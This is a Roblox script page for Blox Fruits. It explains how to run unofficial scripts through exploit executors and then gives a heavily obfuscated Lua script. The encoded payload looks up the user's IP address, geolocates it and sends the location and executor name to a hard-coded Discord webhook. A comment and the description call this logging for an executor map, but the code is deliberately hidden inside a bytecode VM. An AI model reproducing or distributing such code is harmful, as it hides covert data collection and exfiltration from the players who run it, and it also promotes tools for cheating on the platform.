Blox Fruits is an immensely popular game on the Roblox platform, boasting a vast user base. This action-adventure game revolves around a pirate theme, where players enagage in combat against a variety of enemies and challenging bosses. Exploring islands and consuming different fruits are essential for advancing your character’s level.
What is Roblox Script?
Roblox Scripts typically refer to snippets of code that offer automation advantages within the game. Independent developers and scripters create these scripts, which are not officially endorsed by the Roblox platform. Nevertheless, you can still utilize these scripts through Roblox executors such as Arceus X, Hydrogen Executor, JJSploit, Fluxus executor, and others.
How to Use Roblox Script?
- Launch Roblox and join your desired game.
- Click the “Copy” button to duplicate the script code.
- Paste the script code into your preferred Roblox executor.
- Execute the script code and savor the enhanced experience.
--[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] --[[ _,'| _.-''``-...___..--';) /_ \'. __..-' , ,--...--''' <\ .`--''' ` /' `-';' ; ; ; __...--'' ___...--_..' .;.' (,__....----''' (,..--'' DO NOT REDISTRIBUTE THIS SCRIPT AS PAID! © 2024 htauk. This code is provided "as-is" and can be used, modified, and redistributed freely, provided that proper credit is given to the original author. ]] --[[ INFO: THIS SCRIPT LOGS YOUR REGION AND EXECUTOR! The purpose of this script is to help crowd source a map of the most popular executors in different regions. ]] local StrToNumber = tonumber; local Byte = string.byte; local Char = string.char; local Sub = string.sub; local Subg = string.gsub; local Rep = string.rep; local Concat = table.concat; local Insert = table.insert; local LDExp = math.ldexp; local GetFEnv = getfenv or function() return _ENV; end; local Setmetatable = setmetatable; local PCall = pcall; local Select = select; local Unpack = unpack or table.unpack; local ToNumber = tonumber; local function VMCall(ByteString, vmenv, ...) local DIP = 1; local repeatNext; ByteString = Subg(Sub(ByteString, 5), "..", function(byte) if (Byte(byte, 2) == 81) then repeatNext = StrToNumber(Sub(byte, 1, 1)); return ""; else local a = Char(StrToNumber(byte, 16)); if repeatNext then local b = Rep(a, repeatNext); repeatNext = nil; return b; else return a; end end end); local function gBit(Bit, Start, End) if End then local Res = (Bit / (2 ^ (Start - 1))) % (2 ^ (((End - 1) - (Start - 1)) + 1)); return Res - (Res % 1); else local Plc = 2 ^ (Start - 1); return (((Bit % (Plc + Plc)) >= Plc) and 1) or 0; end end local function gBits8() local a = Byte(ByteString, DIP, DIP); DIP = DIP + 1; return a; end local function gBits16() local a, b = Byte(ByteString, DIP, DIP + 2); DIP = DIP + 2; return (b * 256) + a; end local function gBits32() local a, b, c, d = Byte(ByteString, DIP, DIP + 3); DIP = DIP + 4; return (d * 16777216) + (c * 65536) + (b * 256) + a; end local function gFloat() local Left = gBits32(); local Right = gBits32(); local IsNormal = 1; local Mantissa = (gBit(Right, 1, 20) * (2 ^ 32)) + Left; local Exponent = gBit(Right, 21, 31); local Sign = ((gBit(Right, 32) == 1) and -1) or 1; if (Exponent == 0) then if (Mantissa == 0) then return Sign * 0; else Exponent = 1; IsNormal = 0; end elseif (Exponent == 2047) then return ((Mantissa == 0) and (Sign * (1 / 0))) or (Sign * NaN); end return LDExp(Sign, Exponent - 1023) * (IsNormal + (Mantissa / (2 ^ 52))); end local function gString(Len) local Str; if not Len then Len = gBits32(); if (Len == 0) then return ""; end end Str = Sub(ByteString, DIP, (DIP + Len) - 1); DIP = DIP + Len; local FStr = {}; for Idx = 1, #Str do FStr[Idx] = Char(Byte(Sub(Str, Idx, Idx))); end return Concat(FStr); end local gInt = gBits32; local function _R(...) return {...}, Select("#", ...); end local function Deserialize() local Instrs = {}; local Functions = {}; local Lines = {}; local Chunk = {Instrs,Functions,nil,Lines}; local ConstCount = gBits32(); local Consts = {}; for Idx = 1, ConstCount do local Type = gBits8(); local Cons; if (Type == 1) then Cons = gBits8() ~= 0; elseif (Type == 2) then Cons = gFloat(); elseif (Type == 3) then Cons = gString(); end Consts[Idx] = Cons; end Chunk[3] = gBits8(); for Idx = 1, gBits32() do local Descriptor = gBits8(); if (gBit(Descriptor, 1, 1) == 0) then local Type = gBit(Descriptor, 2, 3); local Mask = gBit(Descriptor, 4, 6); local Inst = {gBits16(),gBits16(),nil,nil}; if (Type == 0) then Inst[3] = gBits16(); Inst[4] = gBits16(); elseif (Type == 1) then Inst[3] = gBits32(); elseif (Type == 2) then Inst[3] = gBits32() - (2 ^ 16); elseif (Type == 3) then Inst[3] = gBits32() - (2 ^ 16); Inst[4] = gBits16(); end if (gBit(Mask, 1, 1) == 1) then Inst[2] = Consts[Inst[2]]; end if (gBit(Mask, 2, 2) == 1) then Inst[3] = Consts[Inst[3]]; end if (gBit(Mask, 3, 3) == 1) then Inst[4] = Consts[Inst[4]]; end Instrs[Idx] = Inst; end end for Idx = 1, gBits32() do Functions[Idx - 1] = Deserialize(); end return Chunk; end local function Wrap(Chunk, Upvalues, Env) local Instr = Chunk[1]; local Proto = Chunk[2]; local Params = Chunk[3]; return function(...) local Instr = Instr; local Proto = Proto; local Params = Params; local _R = _R; local VIP = 1; local Top = -1; local Vararg = {}; local Args = {...}; local PCount = Select("#", ...) - 1; local Lupvals = {}; local Stk = {}; for Idx = 0, PCount do if (Idx >= Params) then Vararg[Idx - Params] = Args[Idx + 1]; else Stk[Idx] = Args[Idx + 1]; end end local Varargsz = (PCount - Params) + 1; local Inst; local Enum; while true do Inst = Instr[VIP]; Enum = Inst[1]; if (Enum <= 25) then if (Enum <= 12) then if (Enum <= 5) then if (Enum <= 2) then if (Enum <= 0) then local A = Inst[2]; Stk[A] = Stk[A](Unpack(Stk, A + 1, Inst[3])); elseif (Enum > 1) then local A = Inst[2]; do return Unpack(Stk, A, Top); end else Stk[Inst[2]] = Stk[Inst[3]][Inst[4]]; end elseif (Enum <= 3) then if Stk[Inst[2]] then VIP = VIP + 1; else VIP = Inst[3]; end elseif (Enum > 4) then local A = Inst[2]; do return Unpack(Stk, A, A + Inst[3]); end else Stk[Inst[2]] = Upvalues[Inst[3]]; end elseif (Enum <= 8) then if (Enum <= 6) then Stk[Inst[2]][Inst[3]] = Stk[Inst[4]]; elseif (Enum > 7) then Stk[Inst[2]][Inst[3]] = Inst[4]; else Stk[Inst[2]] = {}; end elseif (Enum <= 10) then if (Enum > 9) then local A = Inst[2]; Stk[A] = Stk[A](Stk[A + 1]); else Stk[Inst[2]] = Stk[Inst[3]][Inst[4]]; end elseif (Enum > 11) then local NewProto = Proto[Inst[3]]; local NewUvals; local Indexes = {}; NewUvals = Setmetatable({}, {__index=function(_, Key) local Val = Indexes[Key]; return Val[1][Val[2]]; end,__newindex=function(_, Key, Value) local Val = Indexes[Key]; Val[1][Val[2]] = Value; end}); for Idx = 1, Inst[4] do VIP = VIP + 1; local Mvm = Instr[VIP]; if (Mvm[1] == 38) then Indexes[Idx - 1] = {Stk,Mvm[3]}; else Indexes[Idx - 1] = {Upvalues,Mvm[3]}; end Lupvals[#Lupvals + 1] = Indexes; end Stk[Inst[2]] = Wrap(NewProto, NewUvals, Env); else local A = Inst[2]; local B = Stk[Inst[3]]; Stk[A + 1] = B; Stk[A] = B[Inst[4]]; end elseif (Enum <= 18) then if (Enum <= 15) then if (Enum <= 13) then local A = Inst[2]; Stk[A](Stk[A + 1]); elseif (Enum > 14) then VIP = Inst[3]; else local A = Inst[2]; Stk[A] = Stk[A](); end elseif (Enum <= 16) then local A = Inst[2]; do return Unpack(Stk, A, Top); end elseif (Enum == 17) then if (Stk[Inst[2]] ~= Inst[4]) then VIP = VIP + 1; else VIP = Inst[3]; end elseif not Stk[Inst[2]] then VIP = VIP + 1; else VIP = Inst[3]; end elseif (Enum <= 21) then if (Enum <= 19) then local A = Inst[2]; local Results = {Stk[A](Stk[A + 1])}; local Edx = 0; for Idx = A, Inst[4] do Edx = Edx + 1; Stk[Idx] = Results[Edx]; end elseif (Enum == 20) then local B = Inst[3]; local K = Stk[B]; for Idx = B + 1, Inst[4] do K = K .. Stk[Idx]; end Stk[Inst[2]] = K; else Stk[Inst[2]] = Env[Inst[3]]; end elseif (Enum <= 23) then if (Enum == 22) then local A = Inst[2]; Stk[A] = Stk[A](); else do return; end end elseif (Enum == 24) then do return Stk[Inst[2]]; end else Stk[Inst[2]] = {}; end elseif (Enum <= 38) then if (Enum <= 31) then if (Enum <= 28) then if (Enum <= 26) then local B = Inst[3]; local K = Stk[B]; for Idx = B + 1, Inst[4] do K = K .. Stk[Idx]; end Stk[Inst[2]] = K; elseif (Enum > 27) then Stk[Inst[2]] = Inst[3]; else do return; end end elseif (Enum <= 29) then local A = Inst[2]; Stk[A](Unpack(Stk, A + 1, Inst[3])); elseif (Enum > 30) then Stk[Inst[2]] = Env[Inst[3]]; else local A = Inst[2]; Stk[A] = Stk[A](Unpack(Stk, A + 1, Inst[3])); end elseif (Enum <= 34) then if (Enum <= 32) then local A = Inst[2]; Stk[A](Stk[A + 1]); elseif (Enum > 33) then Stk[Inst[2]][Inst[3]] = Stk[Inst[4]]; else Stk[Inst[2]] = Wrap(Proto[Inst[3]], nil, Env); end elseif (Enum <= 36) then if (Enum == 35) then local A = Inst[2]; Stk[A](Unpack(Stk, A + 1, Inst[3])); else VIP = Inst[3]; end elseif (Enum > 37) then Stk[Inst[2]] = Stk[Inst[3]]; elseif not Stk[Inst[2]] then VIP = VIP + 1; else VIP = Inst[3]; end elseif (Enum <= 45) then if (Enum <= 41) then if (Enum <= 39) then if Stk[Inst[2]] then VIP = VIP + 1; else VIP = Inst[3]; end elseif (Enum == 40) then local A = Inst[2]; local B = Stk[Inst[3]]; Stk[A + 1] = B; Stk[A] = B[Inst[4]]; else Stk[Inst[2]][Inst[3]] = Inst[4]; end elseif (Enum <= 43) then if (Enum > 42) then local A = Inst[2]; local Results = {Stk[A](Stk[A + 1])}; local Edx = 0; for Idx = A, Inst[4] do Edx = Edx + 1; Stk[Idx] = Results[Edx]; end else Stk[Inst[2]] = Inst[3]; end elseif (Enum > 44) then Stk[Inst[2]] = Upvalues[Inst[3]]; else local A = Inst[2]; Stk[A] = Stk[A](Stk[A + 1]); end elseif (Enum <= 48) then if (Enum <= 46) then if (Stk[Inst[2]] ~= Inst[4]) then VIP = VIP + 1; else VIP = Inst[3]; end elseif (Enum == 47) then local NewProto = Proto[Inst[3]]; local NewUvals; local Indexes = {}; NewUvals = Setmetatable({}, {__index=function(_, Key) local Val = Indexes[Key]; return Val[1][Val[2]]; end,__newindex=function(_, Key, Value) local Val = Indexes[Key]; Val[1][Val[2]] = Value; end}); for Idx = 1, Inst[4] do VIP = VIP + 1; local Mvm = Instr[VIP]; if (Mvm[1] == 38) then Indexes[Idx - 1] = {Stk,Mvm[3]}; else Indexes[Idx - 1] = {Upvalues,Mvm[3]}; end Lupvals[#Lupvals + 1] = Indexes; end Stk[Inst[2]] = Wrap(NewProto, NewUvals, Env); else Stk[Inst[2]] = Wrap(Proto[Inst[3]], nil, Env); end elseif (Enum <= 50) then if (Enum == 49) then local A = Inst[2]; do return Stk[A](Unpack(Stk, A + 1, Inst[3])); end else Stk[Inst[2]] = Stk[Inst[3]]; end elseif (Enum == 51) then do return Stk[Inst[2]]; end else local A = Inst[2]; do return Stk[A](Unpack(Stk, A + 1, Inst[3])); end end VIP = VIP + 1; end end; end return Wrap(Deserialize(), {}, vmenv)(...); end return VMCall("LOL!093Q0003043Q0067616D65030A3Q0047657453657276696365030B3Q00482Q74705365727669636503073Q00506C6179657273030B3Q004C6F63616C506C6179657203063Q00557365724964030B3Q00446973706C61794E616D6503103Q006964656E746966796578656375746F7203073Q00556E6B6E6F776E00243Q0012153Q00013Q00200B5Q000200122A000200034Q001E3Q00020002001215000100013Q00200B00010001000200122A000300044Q001E00010003000200200900020001000500200900030002000600200900040002000700023000055Q00062F00060001000100012Q00268Q0032000700054Q00160007000100022Q0032000800064Q0032000900074Q000A00080002000200062F00090002000100012Q00268Q0032000A00054Q0016000A000100022Q0032000B00064Q0032000C000A4Q000A000B00020002001215000C00084Q0016000C00010002000625000C001F0001000100040F3Q001F000100122A000C00094Q0032000D00094Q0032000E000C4Q0032000F000B4Q0023000D000F00012Q00173Q00013Q00033Q000B3Q00030C3Q00682Q74705F7265717565737403073Q007265717565737403083Q00482Q7470506F73742Q033Q0073796E03143Q00682Q7470733A2Q2F76342E6964656E742E6D652F2Q033Q0055726C03063Q004D6574686F642Q033Q0047455403043Q00426F6479034Q0003123Q004661696C656420746F206665746368204950001F3Q0012153Q00013Q0006253Q000B0001000100040F3Q000B00010012153Q00023Q0006253Q000B0001000100040F3Q000B00010012153Q00033Q0006253Q000B0001000100040F3Q000B00010012153Q00043Q0020095Q000200122A000100054Q003200026Q000700033Q00020010060003000600010030290003000700082Q000A0002000200020006030002001C00013Q00040F3Q001C00010020090003000200090006030003001C00013Q00040F3Q001C000100200900030002000900262E0003001C0001000A00040F3Q001C00010020090003000200092Q0018000300023Q00040F3Q001E000100122A0003000B4Q0018000300024Q00173Q00017Q00103Q00030C3Q00682Q74705F7265717565737403073Q007265717565737403083Q00482Q7470506F73742Q033Q0073796E03173Q00682Q74703A2Q2F69702D6170692E636F6D2F6A736F6E2F2Q033Q0055726C03063Q004D6574686F642Q033Q0047455403043Q00426F6479034Q0003053Q007063612Q6C030B3Q00636F756E747279436F646503063Q00726567696F6E03013Q002F03193Q004661696C656420746F206465636F64652067656F206461746103183Q004661696C656420746F2066657463682067656F206461746101323Q001215000100013Q0006250001000B0001000100040F3Q000B0001001215000100023Q0006250001000B0001000100040F3Q000B0001001215000100033Q0006250001000B0001000100040F3Q000B0001001215000100043Q00200900010001000200122A000200054Q003200036Q001A0002000200032Q0032000300014Q000700043Q00020010060004000600020030290004000700082Q000A0003000200020006030003002F00013Q00040F3Q002F00010020090004000300090006030004002F00013Q00040F3Q002F000100200900040003000900262E0004002F0001000A00040F3Q002F00010012150004000B3Q00062F00053Q000100022Q002D8Q00263Q00034Q002B0004000200050006030004002C00013Q00040F3Q002C00010006030005002C00013Q00040F3Q002C000100200900060005000C00200900070005000D2Q0032000800063Q00122A0009000E4Q0032000A00074Q001A00080008000A2Q0018000800023Q00040F3Q0031000100122A0006000F4Q0018000600023Q00040F3Q0031000100122A000400104Q0018000400024Q00173Q00013Q00013Q00023Q00030A3Q004A534F4E4465636F646503043Q00426F647900074Q00047Q00200B5Q00012Q0004000200013Q0020090002000200022Q00343Q00024Q00108Q00173Q00017Q00113Q0003803Q00682Q7470733A2Q2F63616E6172792E646973636F72642E636F6D2F6170692F776562682Q6F6B732F31333139313336313533383335392Q333731372F7A3257455F37323773674A4E4F474D64496A536979726E4F6447695F4B6B6861794A6C384A4D39596A434F4C5876615A6276426E5F692Q57564364745A725142625F624E03063Q00737472696E6703063Q00666F726D617403193Q004578656375746F723A2025730A4C6F636174696F6E3A20257303073Q00636F6E74656E74030C3Q00436F6E74656E742D5479706503103Q00612Q706C69636174696F6E2F6A736F6E030C3Q00682Q74705F7265717565737403073Q007265717565737403083Q00482Q7470506F73742Q033Q0073796E2Q033Q0055726C03063Q004D6574686F6403043Q00504F535403073Q004865616465727303043Q00426F6479030A3Q004A534F4E456E636F646502223Q00122A000200013Q001215000300023Q00200900030003000300122A000400044Q003200056Q0032000600014Q001E0003000600022Q000700043Q00010010060004000500032Q000700053Q0001003029000500060007001215000600083Q000625000600160001000100040F3Q00160001001215000600093Q000625000600160001000100040F3Q001600010012150006000A3Q000625000600160001000100040F3Q001600010012150006000B3Q0020090006000600092Q0032000700064Q000700083Q00040010060008000C00020030290008000D000E0010060008000F00052Q000400095Q00200B0009000900112Q0032000B00044Q001E0009000B00020010060008001000092Q00200007000200012Q00173Q00017Q00", GetFEnv(), ...);
Description
Logs your relative location and executor. This is to create a map of the most popular executor in areas!